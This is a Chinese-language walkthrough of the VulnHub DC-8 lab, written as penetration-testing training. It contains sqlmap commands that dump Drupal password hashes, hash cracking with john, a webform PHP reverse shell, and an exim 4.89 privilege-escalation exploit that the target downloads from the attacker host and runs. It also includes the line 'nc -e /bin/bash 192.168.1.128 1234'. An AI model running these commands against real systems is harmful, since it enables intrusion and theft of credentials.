靶机下载地址:
链接:https://pan.baidu.com/s/1jPMYoyFZXqr7sVMElHqGcw?pwd=ypq9
提取码:ypq9
参考:
- 【DC系列靶机DC8通关讲解】 https://www.bilibili.com/video/BV1R84y1H7rk/?share_source=copy_web&vd_source=12088c39299ad03109d9a21304b34fef
- 靶机地址:https://www.vulnhub.com/entry/dc-8,367/
- 下载:http://www.five86.com/downloads/DC-8.zip
- ChatGPT
- http://t.csdnimg.cn/TfgIQ
- DC-8 (1).pdf
描述:
Description 描述
Back to the Top
返回顶部
DC-8 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-8是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。
This challenge is a bit of a hybrid between being an actual challenge, and being a "proof of concept" as to whether two-factor authentication installed and configured on Linux can prevent the Linux server from being exploited.
这一挑战介于实际挑战和“概念验证”之间,即在Linux上安装和配置的双因素身份验证是否可以防止Linux服务器被利用。
The "proof of concept" portion of this challenge eventuated as a result of a question being asked about two-factor authentication and Linux on Twitter, and also due to a suggestion by @theart42.
这一挑战的“概念验证”部分是由于推特上有人问到关于双因素身份验证和Linux的问题,也是由于@theart42的建议。
The ultimate goal of this challenge is to bypass two-factor authentication, get root and to read the one and only flag.
这个挑战的最终目标是绕过双因素身份验证,获取root并读取唯一标志。
You probably wouldn't even know that two-factor authentication was installed and configured unless you attempt to login via SSH, but it's definitely there and doing it's job.
除非您尝试通过SSH登录,否则您可能甚至不知道已经安装和配置了双因素身份验证,但它肯定在那里并完成了它的工作。
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。
1、导入VMware虚拟机
下载完成后,得到DC-8.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。
2、拍摄快照,防止后面出问题,有快照还能恢复到初始设置
3、kali创建一个目录 dc8 ,后续的操作都在该目录下进行
使用工具
攻击者:kali 192.168.1.128
靶机:dc-7 192.168.1.136
一.信息收集
基础信息查询
0x01 查看存活主机 0x02 查看开放端口 和 0x03 查看端口服务
这几条命令的用法可以看之前的博客,这里不再赘述
目录扫描
dirsearch -u "192.168.1.136" -e php -i 200
页面探测
CMS探测
whatweb 192.168.1.136
发现又是Drupal 7
点击蓝色的这里,查看URL发现有相关的参数,猜测存在SQL注入漏洞
在URL后面加一个单引号('),发现页面显示SQL报错语句,确认存在SQL注入漏洞
二、渗透过程
解下来用SQLmap进行自动化注入
爆库名
sqlmap -u "http://192.168.1.136/?nid=1" --batch --dbs
- –batch 表示不用询问我,直接Yes,一直进行下去
- –dbs 表示列出数据库
爆表名
sqlmap -u "http://192.168.1.136/?nid=1" --batch -D d7db --tables
- -D 指定数据库,如果数据库名含有特殊字符要用双引号包裹
- –tables 列出数据表名
爆列名
sqlmap -u "http://192.168.1.136/?nid=1" --batch -D d7db -T users --columns
爆字段名
sqlmap -u "http://192.168.1.136/?nid=1" --batch -D d7db -T users -C uid,name,pass --dump
得到了两个用户,还有hash值
我们先新建一个文件,把这两个密码hash保存起来
- 记得要用单引号,不然会失败,因为双引号是转义了
爆破密文
john passwd.txt
只爆破出了一个密码turtle
接下来测试一下是谁的密码
找到刚刚目录扫描的时候,扫到一个登录的目录/user/login/
或者在[http://192.168.1.136/robots.txt](http://192.168.1.136/robots.txt)
里面也可以看到,在Disallow的那里
admin的登不上,说明是john的密码
登陆成功
反弹shell
点击Contact Us,里面的Webform
那我们直接写一句话木马,来进行反弹shell
点击下面的Save configuration
保存
然后我们先在kali 监听 1234 端口
然后我们提交了东西之后,才能让它去解析PHP代码
成功把shell弹过来了
优化shell
python -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm
提权
查看是否存在suid提权
find / -perm -4000 -print 2>/dev/null
发现exim4
查看一下exim4的版本,发现是4.89版本
exim4 --version
搜索一下漏洞库里有没有,发现符合版本标准,并且可以提权(Privilege Escalation)的
searchsploit exim
先把这个脚本下载到当前目录,再改个简单一点的名字
searchsploit -m 46996.sh
然后在这个目录开启HTTP服务,为了能够让靶机把这个脚本下载下来,并在靶机执行这个脚本
python -m http.server 80
看到这个页面就说明HTTP服务开好了
来到靶机的shell,将EXP脚本下载下来
首先来到/tmp目录,因为这个tmp目录的权限最大
wget http://192.168.1.128/a.sh
给脚本加上执行权限
chmod +x a.sh
- +x 表示给执行权限
然后执行脚本来提权
查看脚本有两种使用方式
- ./a.sh -m setuid
- ./a.sh -m netcat
我们选netcat
的
./a.sh -m netcat
获得root权限
查看根目录下的flag文件
获得flag
总结
- 信息收集很重要,从robots.txt和扫目录的时候获得后台登录的目录
- 对SQL注入的认识要能意识到是否存在SQL注入,还有对SQLmap的使用要熟练
- 密码爆破工具john的用法
- 反弹shell的一句话要熟练
nc -e /bin/bash 192.168.1.128 1234
- 还有优化shell的命令
python -c "import pty;pty.spawn('/bin/bash')"
- 最后提权,对漏洞库的用法和搜索要熟练